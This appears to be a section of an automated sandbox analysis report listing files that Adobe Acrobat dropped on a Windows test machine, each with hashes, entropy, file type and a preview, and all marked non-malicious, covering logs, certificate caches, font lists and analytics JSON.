Size (bytes):	332
Entropy (8bit):	5.214711706451497
Encrypted:	false
SSDEEP:	6:iO4qVOYXzROq2PcNwi2nKuAl9OmbzNMxIFUtSqVOYX0jZZmwsqVOYX9kwOcNwi2v:7nOYDMvLZHAa8jFUtZOYAZ/LOYN54ZHP
MD5:	78917F0B313B34DEE5D3F7AE6D5ABAEB
SHA1:	C188C998D714EA031D0398A6E039F5D3A34ABEB0
SHA-256:	61FFD7FD2185F10A094095EE8A049BB32362D114A39EE0D635664240B0CC14A9
SHA-512:	AEFBA5C300770A16EF98C156A720FA11DBBD1FE02BB39FA4161ABA78E72BF83CE6D6CF8FD51D322924C277AB572E55713F610D40FF571E1F8A38585624AD4B89
Malicious:	false
Preview:	2025/01/10-20:58:08.327 1934 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:58:08.328 1934 Recovering log #3.2025/01/10-20:58:08.329 1934 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.214711706451497
Encrypted:	false
SSDEEP:	6:iO4qVOYXzROq2PcNwi2nKuAl9OmbzNMxIFUtSqVOYX0jZZmwsqVOYX9kwOcNwi2v:7nOYDMvLZHAa8jFUtZOYAZ/LOYN54ZHP
MD5:	78917F0B313B34DEE5D3F7AE6D5ABAEB
SHA1:	C188C998D714EA031D0398A6E039F5D3A34ABEB0
SHA-256:	61FFD7FD2185F10A094095EE8A049BB32362D114A39EE0D635664240B0CC14A9
SHA-512:	AEFBA5C300770A16EF98C156A720FA11DBBD1FE02BB39FA4161ABA78E72BF83CE6D6CF8FD51D322924C277AB572E55713F610D40FF571E1F8A38585624AD4B89
Malicious:	false
Preview:	2025/01/10-20:58:08.327 1934 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:58:08.328 1934 Recovering log #3.2025/01/10-20:58:08.329 1934 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438694119318338
Encrypted:	false
SSDEEP:	384:yeaci5GeiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:12urVgazUpUTTGt
MD5:	C62CF26B97E0891DD3C67355395BA420
SHA1:	AFA42B3A25AFA2E759D388FB14B1067CB076E3EE
SHA-256:	8FA28D32A6DE3AA875117D0C1EBABD57AB501CC619EBCB61DA64D1BEB5113FBF
SHA-512:	835C7ADC9CAE21B63FE5B6EBD7A81D703162378909659C455C45B114B90857CD7DAD59230E04545164266CE654C2D3901B781E70B5BAEDCC339645F9A0FF4590
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.772167202492257
Encrypted:	false
SSDEEP:	48:7MRp/E2ioyVDiioy3DoWoy1CABoy1WRKOioy1noy1AYoy1Wioy1hioybioyAroyh:7+pjuDi0iAKDXKQ3Znb9IVXEBodRBkZ
MD5:	EAEAA5C7AEFEC414D2F82B9D1ED8A187
SHA1:	3C0AE8A633A76F8EA8DDE85278923A627E9E5B1B
SHA-256:	CE38D2A4F97BA613B95F074E8D2F5114728F8218F538BF0E2151911C002A725B
SHA-512:	C27A727D2B8434B248DCD323BF4F11A119DC1C07B32BF14F4DABFDE46C628915E8AB1189409E969EFC417808CFE92778E6F3B10638CE1E67DA715470D97CA410
Malicious:	false
Preview:	.... .c......))................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklzFR/ltfllXlE/HT8kLtNNX8RolJuRdxLlGB9lQRYwpDdt:kKGteT8cNMa8RdWBwRd
MD5:	46388A7A76CD0D67E1AF162627B45BF0
SHA1:	6AB24AA20230C51EC002FB4FC3BBD735F476C07F
SHA-256:	50C241175B30EBFC7B550E042BA07558D5D9F1D3136DDF5EF428B9BD3046781D
SHA-512:	060866D73253BC6F27861DE36F66F97CA74B2AB5FE666E3BCE6DBB9D09C848EDD088DD9C1FD3092900BC287AFB38BC36B4376D4B6E7539A5CF3FD1AF48DF93D3
Malicious:	false
Preview:	p...... ..........PG.c..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kKD/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:r/iDImsLNkPlE99SNxAhUe/3
MD5:	D7B2177D2A5B8FFA14501FE7BF5AB6A6
SHA1:	DFD3295B24BBD7D6AA660EC2BDC8D0F7D667F4A0
SHA-256:	1C389D453F21FDFBA84C217E52B11EF3D9755BED2B86738DB16EA2E4375B0018
SHA-512:	BD1025BAAEA70401CAA54E088CEF22246331062B442E038B214E70ECDE95A323BB55D907098D1BC499C1795A2263CD896F79F8F4A91E110BCC784D2316FAF39F
Malicious:	false
Preview:	p...... ........!y.Y.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7956

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7956

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.359798545941671
Encrypted:	false
SSDEEP:	6:YEQXJ2HXh3ruPKmAJYWsGiIPEeOF0YJoAvJM3g98kUwPeUkwRe9:YvXKXFuCt7sdTeOGGMbLUkee9
MD5:	3B89D60E499AE3F5EB8DF88CDDA40CDC
SHA1:	8B4921D496541C2AC3755F041B039093B16C2A30
SHA-256:	E79AEDC2421DC23E62966565D346E91571D4DEBB264EB97C93A1BA1E2C999D54
SHA-512:	F7F8B7F2D90F316D22640D8AF1854D55865ED12D3558847EBA668B7C0C49EF0EAEE218B46AE67EC4D15650D5DE1294079A9B943ACE5C0EF67B51D0805068B1F2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aeda4c38-709d-4487-8691-3a2391fd0728","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736734877641,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.297155437564014
Encrypted:	false
SSDEEP:	6:YEQXJ2HXh3ruPKmAJYWsGiIPEeOF0YJoAvJfBoTfXpnrPeUkwRe9:YvXKXFuCt7sdTeOGGWTfXcUkee9
MD5:	0E7AC5EFEC62474173916DCC3B83162F
SHA1:	557A03A03088554DBA0C4C4EA37C5C97BA2574FF
SHA-256:	5854D4C4797E224B7CAE3493EAF39F5212DADA697AE0476BF38E8A4615AB0BBE
SHA-512:	730185E7BDA5FADCB94F33C543E8D1E3472A4B1091078D8C41DD503EB6E0D51D1E12C319BE747EFD7A8856F1C8BDDB1F211ED3ED5A58ED290B4E02DD87061AAE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aeda4c38-709d-4487-8691-3a2391fd0728","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736734877641,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.275861651790892
Encrypted:	false
SSDEEP:	6:YEQXJ2HXh3ruPKmAJYWsGiIPEeOF0YJoAvJfBD2G6UpnrPeUkwRe9:YvXKXFuCt7sdTeOGGR22cUkee9
MD5:	4F55F7943A0DC66FB3505E6FAF23D3A6
SHA1:	D046DBD3594FB34373F17C76DA3661C8CEE9079A
SHA-256:	646AD73340ADBC8EC72C6A50856B24FDFA5084AA2B7DD1DEEF565C0FDF01C921
SHA-512:	0FA07F160665272777DC70F4D151E0655F42C1FFE9D2E0484EC643EEC98358F33B4604B8D134110DC3FAF70AEB5305397A9F042527A691F6F434266F64FFE519
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aeda4c38-709d-4487-8691-3a2391fd0728","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736734877641,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.346551766978047
Encrypted:	false
SSDEEP:	6:YEQXJ2HXh3ruPKmAJYWsGiIPEeOF0YJoAvJfPmwrPeUkwRe9:YvXKXFuCt7sdTeOGGH56Ukee9
MD5:	63B88B00B7DCA639D52D6885766E7C48
SHA1:	0083C9EF40BE8419F0C56A25C3FAF244506117EE
SHA-256:	ACD6B6169DB2DC921F07C702B3A39A2D1999ED7C7FBC199833CC5090004BCC4C
SHA-512:	1B21361BC713CF8E9CDB42F50E6189D6761CEB00411357AFF9618AD09B51A5EBFC65A992FD584CD56E9DBEBC798E03AA5871E6CFAAB1EE726822F1CF28959B1C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aeda4c38-709d-4487-8691-3a2391fd0728","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736734877641,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.689581752126171
Encrypted:	false
SSDEEP:	24:Yv6XZt7meOTpLgE9cQx8LennAvzBvkn0RCmK8czOCCSQ:YvTeghgy6SAFv5Ah8cv/Q
MD5:	3B9F47B4867092FDFEDABF72475BA0B2
SHA1:	79E38DEB995C6FC093084A98CEFE7A312E5FE86F
SHA-256:	908A55794BD350553491C0412A05E5E8F288B3514C0ADC88074C77C51D65E629
SHA-512:	F8C67C280D4C2E6AF6611FE0255745503C4FF15C7713FEC0D23348794D5451E9C140FB562E2784A8AA445C5783FDCC75EDD2CAB27A4429D98527C12677D3B6F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aeda4c38-709d-4487-8691-3a2391fd0728","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736734877641,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.282060415325561
Encrypted:	false
SSDEEP:	6:YEQXJ2HXh3ruPKmAJYWsGiIPEeOF0YJoAvJf8dPeUkwRe9:YvXKXFuCt7sdTeOGGU8Ukee9
MD5:	49B69808BF3357EB74EF497F37BA1DC0
SHA1:	CA87D1EB38F6007553D027B8C7BE7313B10F652A
SHA-256:	F19E8C37A6EFC69A13A1FA5AD51BA12D95BAA34D8921BE7C7FAFF249A073B86B
SHA-512:	0CA95417512923F9A9D9C0172B8CD86C85CA53FCF3CF064FC817BB635578BEA518FADFC6A9A8BC5593DD7EE0F23AC0A222F60B0F5C1BF836C3FC645A308DC7BB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aeda4c38-709d-4487-8691-3a2391fd0728","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736734877641,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.286726960542101
Encrypted:	false
SSDEEP:	6:YEQXJ2HXh3ruPKmAJYWsGiIPEeOF0YJoAvJfQ1rPeUkwRe9:YvXKXFuCt7sdTeOGGY16Ukee9
MD5:	36A69BEB372153DFFC7E726915F7436F
SHA1:	84BB5E9215C758CB2E027E77CD4C0DAF8F6BDA2B
SHA-256:	3679CDD32DE3B3F2B161FB1211C4E3D94940D647EEFFB35A98A923362A943117
SHA-512:	99656378B6645D355298F59DBCBBB72EB0480D95ABD3FE65CBFFB694D887229CB9F8CBFC4F109B113717388DDF97C20078D01C7974745E5A293EC6006432CD8B
Malicious:	false
